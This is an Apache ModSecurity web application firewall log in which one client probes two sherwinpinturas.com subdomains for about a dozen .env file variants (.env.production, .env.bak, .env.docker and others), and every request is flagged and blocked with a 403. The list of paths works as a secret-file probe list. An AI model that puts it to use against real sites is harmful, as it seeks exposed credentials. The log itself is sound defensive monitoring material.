[Sat Oct 24 22:07:28.017244 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kYECehrQoNuVtn8-PdQAAAAM"]
[Sat Oct 24 22:07:28.122100 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kYFQTwXU83R4GW_mbkgAAACg"]
[Sat Oct 24 22:07:28.122354 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kYFQTwXU83R4GW_mbkgAAACg"]
[Sat Oct 24 22:07:28.122649 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kYFQTwXU83R4GW_mbkgAAACg"]
[Sat Oct 24 22:07:28.146384 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kYECehrQoNuVtn8-PdgAAAAM"]
[Sat Oct 24 22:07:28.146566 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kYECehrQoNuVtn8-PdgAAAAM"]
[Sat Oct 24 22:07:28.146814 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kYECehrQoNuVtn8-PdgAAAAM"]
[Sat Oct 24 22:07:28.227285 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kYFQTwXU83R4GW_mbkwAAACg"]
[Sat Oct 24 22:07:28.227506 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kYFQTwXU83R4GW_mbkwAAACg"]
[Sat Oct 24 22:07:28.227813 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kYFQTwXU83R4GW_mbkwAAACg"]
[Sat Oct 24 22:07:28.290374 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kYECehrQoNuVtn8-PdwAAAAM"]
[Sat Oct 24 22:07:28.290596 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kYECehrQoNuVtn8-PdwAAAAM"]
[Sat Oct 24 22:07:28.290929 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kYECehrQoNuVtn8-PdwAAAAM"]
[Sat Oct 24 22:07:28.378148 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kYFQTwXU83R4GW_mblAAAACg"]
[Sat Oct 24 22:07:28.378423 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kYFQTwXU83R4GW_mblAAAACg"]
[Sat Oct 24 22:07:28.378791 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1kYFQTwXU83R4GW_mblAAAACg"]
[Sat Oct 24 22:07:28.410337 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kYECehrQoNuVtn8-PeAAAAAM"]
[Sat Oct 24 22:07:28.410515 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kYECehrQoNuVtn8-PeAAAAAM"]
[Sat Oct 24 22:07:28.410769 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kYECehrQoNuVtn8-PeAAAAAM"]
[Sat Oct 24 22:07:28.530251 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kYECehrQoNuVtn8-PeQAAAAM"]
[Sat Oct 24 22:07:28.530479 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kYECehrQoNuVtn8-PeQAAAAM"]
[Sat Oct 24 22:07:28.530841 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kYECehrQoNuVtn8-PeQAAAAM"]
[Sat Oct 24 22:07:28.633440 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kYFQTwXU83R4GW_mblQAAACg"]
[Sat Oct 24 22:07:28.633668 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kYFQTwXU83R4GW_mblQAAACg"]
[Sat Oct 24 22:07:28.633988 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1kYFQTwXU83R4GW_mblQAAACg"]
[Sat Oct 24 22:07:28.728573 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kYFQTwXU83R4GW_mblgAAACg"]
[Sat Oct 24 22:07:28.728829 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kYFQTwXU83R4GW_mblgAAACg"]
[Sat Oct 24 22:07:28.729217 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1kYFQTwXU83R4GW_mblgAAACg"]
[Sat Oct 24 22:07:28.801068 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kYECehrQoNuVtn8-PegAAAAM"]
[Sat Oct 24 22:07:28.801325 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kYECehrQoNuVtn8-PegAAAAM"]
[Sat Oct 24 22:07:28.801665 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kYECehrQoNuVtn8-PegAAAAM"]
[Sat Oct 24 22:07:28.863146 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kYFQTwXU83R4GW_mblwAAACg"]
[Sat Oct 24 22:07:28.863429 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kYFQTwXU83R4GW_mblwAAACg"]
[Sat Oct 24 22:07:28.863857 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1kYFQTwXU83R4GW_mblwAAACg"]
[Sat Oct 24 22:07:28.920964 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kYECehrQoNuVtn8-PewAAAAM"]
[Sat Oct 24 22:07:28.921206 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kYECehrQoNuVtn8-PewAAAAM"]
[Sat Oct 24 22:07:28.921527 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kYECehrQoNuVtn8-PewAAAAM"]
[Sat Oct 24 22:07:29.065983 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kYUCehrQoNuVtn8-PfAAAAAM"]
[Sat Oct 24 22:07:29.066299 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kYUCehrQoNuVtn8-PfAAAAAM"]
